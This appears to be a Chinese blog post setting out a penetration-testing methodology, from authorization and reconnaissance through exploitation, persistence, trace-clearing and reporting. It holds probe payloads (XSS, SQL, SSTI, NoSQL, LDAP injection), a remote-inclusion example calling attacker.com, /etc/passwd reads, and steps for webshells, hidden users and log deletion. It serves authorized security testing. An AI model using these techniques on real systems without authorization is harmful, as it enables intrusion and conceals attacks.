渗透测试标准化流程

2025博客之星年度评选已开启 10w+人浏览 1.4k人参与

1. 明确目标 (Define Objectives & Authorization)
  • 确认范围: 与客户沟通确定测试的具体范围(域名、IP 段、应用、系统等)。
  • 获取授权: 必须获得书面的、明确的测试授权,避免法律风险。定义测试时间窗口和规则。
2. 信息收集 (Information Gathering)
  • 概述: 尽可能广泛地收集与目标相关的信息,构建目标的画像,发现潜在的攻击入口点。此阶段强调信息的广度和初步关联。

  • 2.1 域名与子域名收集 (Domain & Subdomain Enumeration)

    • 目的: 扩展攻击面,发现可能被忽略的、防护较弱的系统或测试环境。
    • 方法与工具:
      • 主动枚举/爆破:
        • 工具: OneForAll, dnsenum, Layer子域名挖掘机, SubDomainBrute, Sublist3r, Gobuster (dns mode), ffuf, amass.
      • 被动收集:
        • 在线平台: VirusTotal, DNSDumpster, HackerTarget, Crt.sh (证书透明度), RiskIQ (PassiveTotal), SecurityTrails, FOFA, Shodan, Censys, ZoomEye, 站长之家, 爱站网, ip138.
        • 搜索引擎: Google (site:example.com), Bing, DuckDuckGo.
        • 历史 DNS 解析: ViewDNS.info (IP History), Threatbook (微步在线), SecurityTrails.
      • JS 文件分析: 从已知 Web 应用的 JavaScript 文件中提取子域名。
        • 工具: JSFinder, LinkFinder, Burp Suite (Engagement tools -> Discover content).
      • DNS 域传送漏洞 (AXFR):
        • 原理: DNS 服务器配置不当,允许任意客户端请求整个域的记录。
        • 检测与利用:
          • nslookup: server <dns_server>, ls -d <domain_name>
          • dig: dig @<dns_server> axfr <domain_name>
          • Nmap脚本: nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=<domain> -p 53 -Pn <dns_server>
      • 政府/机构数据库: 全国政府网站基本数据库 (https://zfwzzc.www.gov.cn/) (针对特定目标)。
  • 2.2 IP 地址与归属信息 (IP Address & Ownership)

    • 目的: 确定目标的网络资产、托管位置、注册者信息,关联不同资产。
    • 方法与工具:
      • 域名解析: ping, nslookup, dig.
      • 超级 Ping: 从多地 Ping 目标,判断是否存在 CDN,获取节点 IP。
        • 工具: 站长工具 Ping, 17CE, ipip.net Ping.
      • WHOIS 查询: 获取域名注册人、注册商、联系邮箱、DNS 服务器等信息。
        • 工具: Kali whois 命令, 站长之家 WHOIS, 爱站 WHOIS, ip138 WHOIS, ICANN Lookup, 腾讯云/阿里云 WHOIS, 新网 WHOIS.
      • 备案号查询: 获取网站备案主体(公司/个人)、备案域名列表。
        • 平台: ICP备案查询网 (icp.bugscaner.com), 站长工具 ICP, 爱站 ICP, 工信部备案管理系统 (beian.miit.gov.cn).
        • 反查: 利用备案号反查该主体下的所有备案域名,扩展目标。
      • 企业信用查询: 根据备案信息查询企业详情、股东、分支机构、软件著作权等。
        • 平台: 国家企业信用信息公示系统 (gsxt.gov.cn), 天眼查, 企查查, 悉知, 信用中国.
      • IP 反查域名/旁站查询: 根据已知 IP 查询托管在该 IP 上的其他域名。
        • 工具: Reverse IP Lookup (ViewDNS.info, HackerTarget), DNSlytics, Censys (搜索 ip:<ip_address>), FOFA (ip="<ip_address>"), Shodan (net:<ip_address>), 站长工具 (同 IP 网站查询), 爱站 (同 IP 网站查询).
      • 威胁情报平台: 关联 IP、域名、历史事件、样本信息。
        • 平台: 微步在线 (Threatbook), 奇安信威胁情报中心 (ti.qianxin.com), 360 威胁情报中心 (ti.360.cn), 华为安全情报 (isecurity.huawei.com).
  • 2.3 技术栈与基础设施信息 (Technology Stack & Infrastructure)

    • 目的: 了解目标使用的 Web 服务器、编程语言、框架、数据库、CDN、WAF 等,为漏洞选择提供依据。
    • 方法与工具:
      • 浏览器插件: Wappalyzer, WhatRuns, BuiltWith, Shodan, FOFA-View, TCPIPUTILS, DNSlytics.
      • 证书透明度 (CT Logs): 查找使用特定证书的域名和历史记录,可能发现未公开的子域名或关联资产。
        • 平台: crt.sh, Censys (Certificates Search), Google Certificate Transparency Report.
        • 工具: Findomain, amass.
      • 网络空间搜索引擎: 使用特定语法搜索目标资产指纹。
        • FOFA: domain="example.com", cert="example.com", header="Server: nginx", app="Apache-Shiro"
        • Shodan: hostname:example.com, ssl:example.com, http.server:nginx, product:"Apache Tomcat"
        • Censys: services.http.response.headers.server: nginx, names: example.com
      • 指纹识别工具/平台: (详见步骤 4.3)
  • 2.4 应用与人员信息 (Application & Personnel Information)

    • 目的: 寻找移动端入口、获取员工邮箱/账号信息、发现人为因素导致的信息泄露。
    • 方法与工具:
      • 移动 APP 收集:
        • 应用商店: Apple App Store, Google Play, 华为应用市场等。
        • 第三方平台: 七麦数据, App Annie.
        • 分析: 下载 APP -> Burp Suite 抓包分析 API 接口 -> 使用反编译工具 (Android Killer, Jadx, MobSF) 分析代码,寻找硬编码的 URL、密钥、逻辑漏洞。
      • 微信公众号/小程序:
        • 微信搜索。
        • 天眼查/企查查 (关联企业主体)。
        • 抓包分析其 Web 接口。
      • 邮箱地址收集:
        • 猜测规则: 根据 whois 信息、网站联系方式、员工姓名猜测邮箱格式 (如 firstname.lastname@example.com)。
        • 搜索引擎/GitHub: 搜索 @example.com
        • 数据泄露查询: Have I Been Pwned (haveibeenpwned.com), Firefox Monitor (monitor.mozilla.org), Dehashed.
        • 工具: The Harvester, Infoga, Hunter.io.
        • 后续: 尝试弱口令登录、查找关联社交账号、识别邮箱服务商及漏洞。
      • 公网网盘搜索: 搜索可能由员工上传导致泄露的内部文档、代码、配置。
        • 工具: 凌云风搜索, 大力盘, 小不点搜索等。
3. 敏感信息探测 (Sensitive Information Discovery)
  • 概述: 在初步收集的基础上,进行更深入的扫描和探测,发现隐藏的目录、文件、服务和潜在的泄露点。

  • 3.1 端口与服务扫描 (Port & Service Scanning)

    • 目的: 发现目标主机开放的端口及运行的服务、版本,识别潜在的攻击向量。
    • 工具:
      • 快速全端口扫描: Masscan, Zmap (识别开放端口)。
      • 详细服务识别: Nmap (对 Masscan 发现的端口进行 -sV 版本探测, -sC 默认脚本扫描, -O 操作系统探测)。
      • 组合策略 (高效):
        # 1. 使用 Masscan 快速扫描全端口,输出到文件 ports.txt
        masscan <target_ip> -p1-65535 --rate 1000 -oL ports.txt
        # 2. 从 ports.txt 提取开放端口列表
        ports=$(cat ports.txt | awk -F " " '{print $3}' | sort -n | tr '\n' ',' | sed 's/,$//')
        # 3. 使用 Nmap 对这些端口进行详细扫描
        nmap -sV -sC -p $ports <target_ip>
        
      • 其他工具: 御剑高速端口扫描, Zmap, Masnmapscan.
  • 3.2 C段与旁站探测 (C-Segment & Adjacent Site Probing)

    • 目的: 扫描目标 IP 所在的 C 段 (同一 /24 网段),发现同一网络内可能存在的其他资产或防护较弱的“旁站”。
    • 工具:
      • Nmap: nmap -sP <target_ip>/24 (Ping 扫描) 或 nmap -T4 -F <target_ip>/24 (快速端口扫描)。
      • 专用工具: K8_C段旁注查询工具, 小米范WEB查找器 (老工具)。
      • 网络空间搜索引擎: FOFA (ip="xxx.xxx.xxx.0/24"), Shodan (net:xxx.xxx.xxx.0/24)。
  • 3.3 目录与文件扫描 (Directory & File Scanning)

    • 目的: 发现 Web 应用中隐藏的目录、后台登录页面、敏感文件(备份、配置、源码)、API 接口等。
    • 工具:
      • 目录/文件扫描: Dirsearch, Gobuster (dir mode), ffuf, dirb,御剑后台扫描, 7kbscan, Web破壳工具, DirMap, WhatWeb (-a 3), Nikto.
      • 备份文件扫描: Test404网站备份文件扫描器, ihoneyBakFileScan, BBScan (被动)。
      • 关注目标: .git, .svn, .DS_Store, .hg, .bzr, .bak, .swp, .old, .zip, .rar, config.*, database.*, admin, manage, backup, test, phpinfo.php, robots.txt, sitemap.xml 等。
  • 3.4 源码与凭证泄露 (Source Code & Credential Leakage)

    • 目的: 寻找由于配置不当或人为失误导致的源码、API密钥、数据库密码等敏感信息泄露。
    • 方法:
      • GitHub/GitLab/Gitee 搜索:
        • 关键词: 目标域名、公司名称、项目名称、特定 JS 路径、备案号、员工邮箱后缀。
        • 工具: GSIL (GitHub Sensitive Information Leak), Gitrob, truffleHog, Github-Monitor.
      • 员工邮箱/账号搜索: (见 2.4)
      • 公网网盘搜索: (见 2.4)
  • 3.5 历史信息挖掘 (Historical Information Mining)

    • 目的: 查看网站历史版本,可能发现旧版本中存在的漏洞、敏感信息或已被移除的入口。
    • 工具: Wayback Machine (web.archive.org).
4. 信息整理与分析 (Information Consolidation & Analysis)
  • 概述: 对前两阶段收集到的杂乱信息进行过滤、去重、验证和关联分析,明确主要攻击目标和方向。

  • 4.1 CDN 识别与绕过尝试 (CDN Identification & Bypass Attempts)

    • 识别:
      • 多地 Ping/超级 Ping: 返回多个不同地理位置/运营商 IP。
      • Nslookup/Dig: 查看 CNAME 记录是否指向 CDN 厂商域名。
      • 在线工具: 17CE, IPIP.net CDN Check.
      • 常见 CDN 厂商: Cloudflare, Akamai, AWS CloudFront, Google Cloud CDN, Fastly, 阿里云, 腾讯云, 百度云, 网宿, 蓝汛, 七牛云等。
    • 绕过尝试 (寻找源站 IP): (详见 CDN 绕过笔记)
      • 历史 DNS 记录。
      • 未上 CDN 的子域名 (邮件服务器 MX 记录、测试/开发域名等)。
      • SSL 证书关联查询 (Censys, crt.sh)。
      • 国外/偏远地区 DNS 解析。
      • 网站自身漏洞 (SSRF, 文件泄露, XSS 盲打)。
      • 邮件订阅/服务 (查看邮件头 Received: 字段)。
      • F5 LTM Cookie 解码。
      • 网络空间搜索引擎搜索特征。
      • 旁站查询。
    • 验证源站 IP: 直接 IP 访问对比页面内容/证书,端口扫描确认服务。
  • 4.2 WAF 识别 (WAF Identification)

    • 目的: 判断目标是否部署了 Web 应用防火墙,了解其类型有助于选择绕过策略。
    • 方法:
      • 工具探测: wafw00f <url>.
      • 手动探测: 发送简单攻击 Payload (如 <script>alert(1)</script>, ?id=1') 观察响应(是否被拦截、返回特定错误页、响应头变化)。
      • 报错页面指纹: WAF 拦截页面通常包含厂商信息(如 Cloudflare, 安全狗, FortiWeb)。
      • 响应头: 检查 Server, X-Powered-By, Via 及其他自定义头。
  • 4.3 指纹识别 (Fingerprinting)

    • 目的: 识别目标网站使用的 CMS、框架、Web 服务器、操作系统、编程语言、第三方组件及其版本。
    • 方法:
      • 在线平台: 云悉指纹, 潮汐指纹, 360 观星指纹.
      • 工具: WhatWeb,御剑 Web 指纹识别, Test404 CMS 指纹识别, TideFinger 脚本, Wafw00f (有时也附带指纹信息).
      • 浏览器插件: Wappalyzer, BuiltWith.
      • 特征分析:
        • 特定目录/文件: wp-admin/, /admin/, dede/, robots.txt, favicon.ico.
        • favicon.ico MD5 值查询。
        • 页面源代码注释、generator 标签、特定 JS/CSS 文件名或路径。
        • HTTP 响应头 (Server, X-Powered-By, Cookie 名称如 JSESSIONID, PHPSESSID).
        • 报错信息。
  • 4.4 端口/服务/系统分析 (Port/Service/System Analysis)

    • 目的: 结合 Nmap 等工具扫描结果,分析开放端口对应的服务、版本,判断潜在的可利用漏洞或弱点。确认操作系统类型和版本。
5. 漏洞探测 (Vulnerability Probing)
  • 概述: 基于信息收集和分析的结果,有针对性地对目标进行漏洞扫描和手动探测。

  • 5.1 扫描策略 (Scanning Strategy)

    • 时间选择: 选择业务低峰期(如深夜)进行扫描,减少对目标业务的影响,降低被发现概率。
    • 速率控制: 根据目标应急响应能力(是否封禁 IP)调整扫描速率。可先用少量线程试探。
    • 代理使用: 使用代理 IP 池隐藏真实 IP,规避 IP 封禁。
    • 区分扫描类型: Web 漏洞扫描针对 Web 应用(域名/URL),主机漏洞扫描针对 IP 地址(操作系统、服务)。
  • 5.2 自动化扫描 (Automated Scanning)

    • Web 漏洞扫描器: AWVS, Nessus (Web Scan), AppScan, Burp Suite Pro Scanner, XRay, Goby 等。对收集到的域名和 URL 进行批量扫描。
    • 主机漏洞扫描器: Nessus, OpenVAS, Qualys Guard. 对收集到的 IP 地址进行系统和服务的漏洞扫描。
  • 5.3 手工探测 (Manual Probing)

    • 概述: 针对特定功能点、输入点或基于指纹信息的已知漏洞进行深入的手动测试。
    • 常见漏洞类型与测试点:
      • SQL 注入 (SQL Injection):
        • 输入点: URL 参数、POST 数据、HTTP 头 (Cookie, User-Agent, Referer, X-Forwarded-For), 搜索框、登录框等。
        • 测试: 使用单引号、注释符、延时函数、布尔盲注、报错注入等 Payload。注意 WAF 绕过技巧。
      • 跨站脚本 (XSS):
        • 输入点: 搜索框、留言板、用户资料、URL 参数、富文本编辑器。
        • 测试: 输入 <script>alert(1)</script>, "><img src=x onerror=alert(1)>, HTML 实体编码, 事件处理器等。查看源码确认输入是否被正确过滤/编码。关注 DOM XSS (URL hash, JS 变量)。
        • 万能 Payload 示例 (需根据上下文调整): "><textarea autofocus onfocus=alert(1)></textarea>, javascript:alert(1) (URL Scheme)。
      • 文件下载漏洞 (Arbitrary File Download/Read):
        • URL 特征: download.php?file=, readfile.php?path=, down.jsp?filename=.
        • 参数名: file, path, filename, Data, src, Inputfile, filepath, url 等。
        • 测试: 使用目录遍历 (../), 空字节 (%00), 绝对路径尝试读取敏感文件 (/etc/passwd, C:/Windows/win.ini, 配置文件)。
      • 文件上传漏洞 (File Upload Vulnerability):
        • 测试点: 头像上传、附件上传、编辑器图片上传、文件导入等。
        • 测试: 尝试上传 Webshell (PHP, ASP, JSP),绕过后缀名、Content-Type、文件头检测。利用解析漏洞 (IIS, Apache, Nginx)。(详见 Webshell 获取笔记)。
      • 文件包含漏洞 (File Inclusion - LFI/RFI):
        • URL 特征: ?page=a.php, ?file=content.txt, ?module=news.
        • 测试: 尝试包含本地文件 (/etc/passwd, 日志文件, Session 文件, 上传的 txt/图片马) 或远程文件 (http://attacker.com/shell.txt - 需要 allow_url_include=On)。利用 php://filter, php://input, data:// 等伪协议。
      • 命令执行漏洞 (Command Injection / RCE):
        • 测试点: 提供 ping, nslookup, 系统诊断等功能的页面;参数直接或间接传递给 system(), exec(), passthru(), shell_exec() 等函数的地方。
        • 测试: 使用管道符 |, 分号 ;, 反引号 `, $(command) 注入系统命令。
      • 跨站请求伪造 (CSRF):
        • 测试点: 修改密码、修改个人信息、发帖、转账、添加用户、删除数据等敏感操作。
        • 检测:
          1. 抓取正常请求包。
          2. 检查是否存在 Token 或验证码等防 CSRF 机制。若有,尝试移除或重用 Token 看是否有效。
          3. 移除 RefererOrigin 请求头,重放请求看是否成功。
          4. 若无有效防护,构造 PoC HTML 页面,在另一个已登录用户身份的浏览器中打开,看操作是否被执行。
        • 结合 XSS: 利用 XSS 获取 Token 或自动提交 CSRF 表单。
      • 服务端请求伪造 (SSRF):
        • 测试点: 通过 URL 加载外部资源的功能(图片/文章分享、转码、在线翻译、从 URL 上传、WebHook、编辑器插入远程图片)。
        • URL 参数关键字: url, link, src, target, imageURL, domain, share.
        • 测试: 将参数值修改为内网 IP 地址 (http://127.0.0.1:80, http://192.168.1.1:8080), file:///etc/passwd, dict://, gopher:// 等协议,观察响应变化(状态码、报错信息、响应时间)。
      • XML 外部实体注入 (XXE):
        • 测试点: 处理 XML 输入的接口(SOAP, REST API, 文件上传)。
        • 检测: 抓包查看请求 Content-Type 是否为 application/xmlAccept 头是否包含 XML。尝试修改 Content-Type 为 XML。
        • 测试: 注入 XML 外部实体 Payload,尝试读取本地文件、探测内网端口、执行命令(需特定环境)。
      • WAF 绕过: 参考 WAF 绕过笔记,使用编码、注释、大小写、参数污染、分块传输等技巧。
      • 弱口令/暴力破解: (详见暴力破解笔记) 测试登录接口、管理后台、数据库、SSH、RDP 等。工具: Hydra, Medusa, Burp Intruder.
      • 逻辑漏洞: (详见逻辑漏洞笔记) 测试越权(水平/垂直)、支付漏洞、密码重置漏洞、验证码绕过等。
      • 服务端模板注入 (SSTI):
        • 测试点: 用户输入被嵌入服务器端模板进行渲染的地方(URL参数, POST数据, HTTP头, 个性化内容区域, 错误页面, 邮件模板等)。关注动态生成内容的接口。
        • 检测:
          • 注入简单数学/字符串运算探测 ({{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, *{7*7} 等) 观察服务器是否计算并返回结果。
          • 使用引擎区分 Payload (如 {{7*'7'}}) 判断具体引擎 (Jinja2 返回 ‘7777777’, Twig 返回 49)。
          • 参考 SSTI 识别图或在线资源获取更全面的探测 Payload 列表。
        • 利用 (尝试 RCE): 识别引擎后,构造针对性 Payload 调用底层 OS 命令或访问敏感信息 (参考之前添加的详细内容)。
        • 工具: SSTImap (自动化检测与利用)。
      • 竞争条件 (Race Condition):
        • 原理: 利用服务器端并发处理请求时,对共享资源(如账户余额、优惠券状态、库存数量、投票次数)访问和修改缺乏适当同步(如锁),导致“检查时间到使用时间”(TOCTOU)之间存在状态不一致的可能。
        • 测试点:
          • 涉及状态检查后执行修改的操作:转账(检查余额后扣款)、优惠券/折扣码使用(检查有效性/次数后应用并标记)、秒杀/抢购(检查库存后下单)、投票/点赞(检查资格/次数后计数)、资源申请/预订(检查可用性后分配)。
          • 任何需要保证原子性但实现上可能分步的操作。
        • 测试方法:
          1. 识别目标操作的请求。
          2. 使用工具高速并发地发送大量(几十到几百个)相同的请求到目标接口。
          3. 观察服务器响应和最终状态,判断是否成功利用了时间窗口,导致非预期结果(如超额转账、多次使用优惠券、超额下单、绕过次数限制等)。
        • 工具: Burp Suite Turbo Intruder (首选,专为高速并发设计), Burp Suite Intruder (需调整线程数和延迟), 自定义脚本 (Python requests + threading/asyncio)。
      • 认证与枚举 (Authentication & Enumeration):
        • 测试点: 登录、注册、密码重置页面;HTTP Basic Auth 保护的资源。
        • 测试:
          • 用户枚举: 通过登录/密码重置页面的响应差异(“用户不存在” vs “密码错误”)、注册页(“用户已存在”)识别有效用户名。利用详细错误信息。
          • 密码策略探测: 分析密码错误提示、源码(若可得)推断复杂度要求。
          • 弱口令/暴力破解: (详见暴力破解笔记) 测试登录接口、管理后台、HTTP Basic Auth 等。工具: Hydra, Medusa, Burp Intruder。
          • 密码重置漏洞: 检查令牌是否可预测、有效期是否过长、使用后是否失效、安全问题是否薄弱、传输是否安全 (HTTPS)。
          • 信息泄露: 使用 Google Dorks、Wayback Machine 查找可能泄露的凭证、备份或管理接口。
      • 会话管理 (Session Management):
        • 测试点: Cookie/Token 的生成、传输、存储、验证、过期、注销机制。
        • 测试:
          • 会话令牌强度: 检查 Session ID/Token 的熵和随机性,是否可预测。
          • 会话固定 (Session Fixation): 验证登录成功后是否重新生成会话 ID。
          • 传输安全: 检查 Cookie 的 Secure 属性;确保令牌仅通过 HTTPS 传输。
          • 客户端保护: 检查 Cookie 的 HttpOnly 属性(防 XSS 窃取);检查 Token 是否存储在安全位置(避免 LocalStorage)。
          • 跨站保护: 检查 Cookie 的 SameSite 属性 (Strict, Lax, None)。
          • 会话生命周期: 验证会话超时是否按预期工作;用户注销/密码更改后,服务器端会话是否立即失效(尤其对 JWT)。
          • 日志记录: 检查是否有足够的日志记录会话相关的安全事件。
      • 授权控制 (Authorization Control):
        • 测试点: 不同用户角色访问同一功能、同一用户访问不同对象(数据)的权限控制点。API 端点。
        • 测试:
          • 垂直越权: 尝试使用低权限用户访问高权限用户的功能接口或页面。
          • 水平越权: 尝试使用用户 A 的身份访问/修改用户 B 的数据(通过修改请求中的 ID 等参数)。
          • 不安全直接对象引用 (IDOR): 测试是否可以通过修改 URL 或请求参数中的 ID 来访问未授权的对象。
      • JWT 安全 (JWT Security):
        • 测试点: 使用 JWT 进行认证/授权的 API 端点;JWT 的生成和验证逻辑。
        • 测试:
          • 信息泄露: 解码 JWT Payload,检查是否包含敏感信息。
          • 签名验证: 尝试移除签名、修改 Payload 后重放;测试 alg: none 绕过;尝试爆破 HS256 弱密钥;测试算法混淆 (RS256 -> HS256 使用公钥签名)。
          • 有效期: 检查 exp 声明是否存在且合理;测试过期令牌是否被拒绝。
          • 其他声明: 检查 aud (受众)、iss (签发者) 等声明是否被严格校验(特别是在跨服务场景)。
      • OAuth 安全 (OAuth Security):
        • 测试点: OAuth 认证流程(授权端点、令牌端点)、redirect_uri 配置、state 参数使用、客户端凭证管理。
        • 测试:
          • Redirect URI 操纵: 测试 redirect_uri 是否存在开放重定向漏洞、是否允许任意子域名/路径,尝试将授权码/令牌重定向到攻击者控制的地址。
          • CSRF 防护: 检查 state 参数是否存在、是否随机不可预测、是否与用户会话绑定并在回调时验证。
          • 隐式流程风险: (若使用) 检查令牌是否通过 URL 片段泄露,客户端存储是否安全。
          • 授权码/令牌泄露: 检查授权码是否会通过 Referer 头泄露;客户端凭证是否硬编码或不安全存储。
          • 范围校验: 检查令牌的权限范围 (scope) 是否被正确限制。
      • 多因素认证 (MFA/2FA) 绕过:
        • 测试点: MFA 设置、验证环节(输入OTP/确认推送)、备用/恢复机制、MFA 强制策略。
        • 测试:
          • OTP 强度/泄露: 检查 OTP 是否可预测;查看 HTTP 响应或 JS 代码是否意外泄露 OTP。
          • 暴力破解: 测试 OTP 输入接口是否存在速率限制和账户锁定。
          • 逻辑绕过: 尝试在未完成 MFA 时访问受限资源;测试 MFA 是否能在密码重置/会话恢复流程中被跳过。
          • 备用机制: 测试恢复码、安全问题等备用验证方式的安全性。
          • MFA 策略: 检查是否所有敏感操作都需要 MFA;条件访问策略是否存在逻辑缺陷。
          • 中间人钓鱼: 评估使用 Evilginx 等工具进行 MITM 钓鱼的可行性。
      • NoSQL 注入 (NoSQL Injection):
        • 原理: 用户输入被不安全地嵌入到 NoSQL 查询(如 MongoDB 的 BSON 查询文档)中,导致查询逻辑被篡改。常通过注入 NoSQL 查询操作符 ($ne, $gt, $regex, $where等) 实现。
        • 测试点: 使用 NoSQL 数据库 (尤其是 MongoDB) 的接口,特别是接受结构化数据 (JSON) 或能被后端解析为嵌套对象的参数(如 param[$op]=value)。登录、搜索、API 端点是常见目标。
        • 测试方法:
          1. 识别后端处理: 判断用户输入如何转化为查询对象。
          2. 探测操作符注入:
            • 尝试通过参数构造 (e.g., username[$ne]=admin&password[$ne]=admin) 或直接注入 JSON (e.g., {"username": {"$ne": "admin"}}) 来注入操作符。
            • 认证绕过: 使用 $ne, $gt, $regex 等尝试匹配非预期用户或绕过密码检查。例如, username[$ne]=xyz&password[$ne]=xyz 可能匹配数据库中存在的任意用户。
            • 数据探测: 使用 $regex 进行盲注猜测 (e.g., password[$regex]=^a.* 测试密码是否以 ‘a’ 开头),或使用 $in/$nin 探测数据。
            • 服务端 JS 注入 ($where): 高危! 尝试注入 $where 操作符并执行 JS 代码 (e.g., field[$where]='sleep(5000)' 进行时间盲注探测)。检查服务器是否禁用 JS 执行 (javascriptEnabled=false)。
          3. 探测语法注入 (较少见): 尝试注入 {}',";\ 等字符,观察是否引发错误或改变行为,依赖于不安全的查询构建方式。
        • 关注操作符: $ne, $gt, $lt, $gte, $lte, $in, $nin, $regex, $where, $exists, $type
      • LDAP 注入 (LDAP Injection):
        • 原理: 用户输入未经过滤或转义,被直接拼接到 LDAP 查询(特别是过滤器 Filter)中,导致查询逻辑被攻击者控制。
        • 测试点: 使用 LDAP 进行认证(登录)、目录搜索、信息查询等功能的输入点(如用户名、搜索关键词字段)。
        • 测试方法:
          1. 识别注入点: 分析应用程序如何根据用户输入构建 LDAP 过滤器。
          2. 注入特殊字符和语法: 尝试注入 LDAP 过滤器元字符 *, (, ), \, &, |, !, = 等。
          3. 认证绕过:
            • 通配符注入: 输入 username=*password=*,尝试构造 (&(uid=*)(userPassword=*)) 等过滤器匹配任意用户。
            • 逻辑注入: 构造永真条件。例如,若原始过滤器为 (&(uid=$user)(pass=$pass)),尝试注入 user=admin)(|(uid=*)pass=*)(pass=*) 来构造类似 (&(uid=admin)(|(uid=*)(pass=*))) 的过滤器绕过密码验证。
          4. 信息泄露: 构造过滤器枚举用户或对象属性,如 (uid=*), (objectClass=*)
          5. 盲注 (Blind LDAP Injection): 当无直接回显时,利用布尔逻辑或(较少见的)时间延迟判断注入条件真假。
            • 布尔盲注: 构造条件(如 (uid=admin)(mail=a*)),观察应用响应差异(如 “密码错误” vs “用户不存在”)来逐字猜测信息。
            • 自动化: 使用脚本(如提供的 Python 示例)自动化盲注过程。
        • 工具: ldapsearch (辅助测试), Burp Suite, 自定义脚本。
      • ORM 注入 (ORM Injection):
        • 原理: 绕过 ORM 框架的安全机制(如参数化查询),通过操纵传递给 ORM 方法的输入,影响最终生成的 SQL 查询。通常发生在不安全地使用 ORM 原始 SQL 功能动态构建查询结构(如排序字段)时。
        • 测试点:
          • 使用 ORM 提供的执行原始 SQL 片段的方法(如 Laravel 的 whereRaw, orderByRaw;Django 的 raw, extra;SQLAlchemy 的 text;Sequelize 的 sequelize.query 等)。
          • 允许用户输入控制查询字段名、排序字段/方向、聚合函数等结构性部分的接口。
          • 搜索、过滤、排序功能对应的 API 参数。
        • 测试方法:
          1. 识别框架/ORM: (参考 4.3 指纹识别)。
          2. 审查 ORM 用法 (代码审计最佳): 查找直接拼接用户输入的原始 SQL 方法调用;检查动态查询构建部分是否对用户输入进行严格白名单验证。
          3. 注入测试:
            • 向怀疑使用原始 SQL 的参数注入 SQL 特殊字符和语句。
            • 向控制排序/过滤字段的参数注入 SQL 语句、函数调用或数据库特定语法(如示例中的 name->"%27)) LIMIT 10%23 针对特定库的排序注入)。
            • 尝试通过输入改变查询逻辑(如注入 OR, UNION 等)。
          4. 错误探测: 提交意外输入,诱发 ORM/数据库错误,观察是否泄露查询结构。
        • 关注点: 明确用户输入是否可能影响 SQL 查询结构,而不仅仅是查询值。优先测试排序、过滤和使用了 Raw SQL 的地方。
6. 漏洞验证与利用 (Vulnerability Validation & Exploitation)
  • 概述: 对探测阶段发现的潜在漏洞进行精确验证,确认其真实性和可利用性,并尝试获取系统访问权限。

  • 6.1 确认与深度分析 (Confirmation & In-depth Analysis)

    • 使用 PoC (Proof of Concept) 或手动构造 Payload 验证漏洞是否存在。
    • 分析漏洞原理,评估其影响范围和利用条件。
    • 考虑漏洞链 (Vulnerability Chaining):组合多个低危漏洞达到更高权限或更大影响。
  • 6.2 获取控制权 (Gaining Control - Getshell)

    • 利用 RCE, SQL 注入 (写文件), 文件上传, 文件包含等漏洞上传或写入 Webshell。
    • 利用反序列化、命令注入等漏洞获取反弹 Shell。
    • 利用特定框架/CMS 的已知 Getshell 漏洞。
  • 6.3 后门与持久化 (Backdoors & Persistence)

    • 目的: 在获得控制权后,建立隐蔽、稳定的长期访问通道。
    • Webshell 特征:
      • 免杀处理:绕过 AV/IPS 检测。
      • 权限获取:尝试获取高权限用户信息。
      • 用户/进程伪装:创建隐藏用户,伪装进程名、服务签名。
      • 网络配置:修改防火墙规则,开放端口。
      • 自启动/持久化:添加到启动项、计划任务、服务。
      • 日志清理:删除相关系统、安全、Web 日志。
    • 持久化方法 (OS 层面): (详见权限维持笔记)
      • 创建隐藏/克隆用户。
      • 利用现有用户 (激活 administrator, 窃取凭据)。
      • 计划任务 (schtasks / cron)。
      • 启动项 (注册表 Run 键 / Startup 文件夹 / Linux profile)。
      • 系统服务 (sc create / systemd unit)。
      • 映像劫持 (IFEO)。
      • WMI 事件订阅。
      • 修改 Sudoers (Linux)。
      • RPM 包重定向后门 (Linux)。
7. 后渗透测试 (Post-Exploitation)
  • 概述: 在取得目标系统控制权后,进行更深入的探测和横向移动,以达到最终目标(如获取域控权限、窃取核心数据)。

  • 7.1 权限提升 (Privilege Escalation): (参考 Windows/Linux 提权笔记) 利用系统漏洞、配置错误、令牌窃取等提升至最高权限。

  • 7.2 内网渗透 (Internal Network Penetration): (参考内网渗透笔记)

    • 信息收集 (主机、用户、网络、域环境)。
    • 内网扫描与探测。
    • 横向移动 (Pass-the-Hash, Pass-the-Ticket, 漏洞利用, DCOM, WMI)。
    • 凭据窃取 (Mimikatz, LaZagne)。
    • 域控攻击 (DCSync, Golden Ticket, Skeleton Key)。
    • 工具: Cobalt Strike, Metasploit, Empire, Impacket 等。
  • 7.3 清理痕迹 (Clearing Traces)

    • 删除上传的工具、脚本、Payload。
    • 清除命令历史 (history -c / 删除 .bash_history / 修改注册表)。
    • 清除系统日志 (Event Logs / Syslog / auth.log / wtmp / btmp)。
    • 清除 Web 服务器访问日志、错误日志。
    • 恢复被修改的配置。
  • 7.4 报告撰写 (Reporting)

    • 目的: 清晰、准确地记录测试过程、发现的漏洞、风险评估、利用步骤和修复建议。
    • 内容: 目标、范围、时间、方法、发现的漏洞详情(描述、复现步骤、截图/证据、风险评级)、修复建议、总结。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值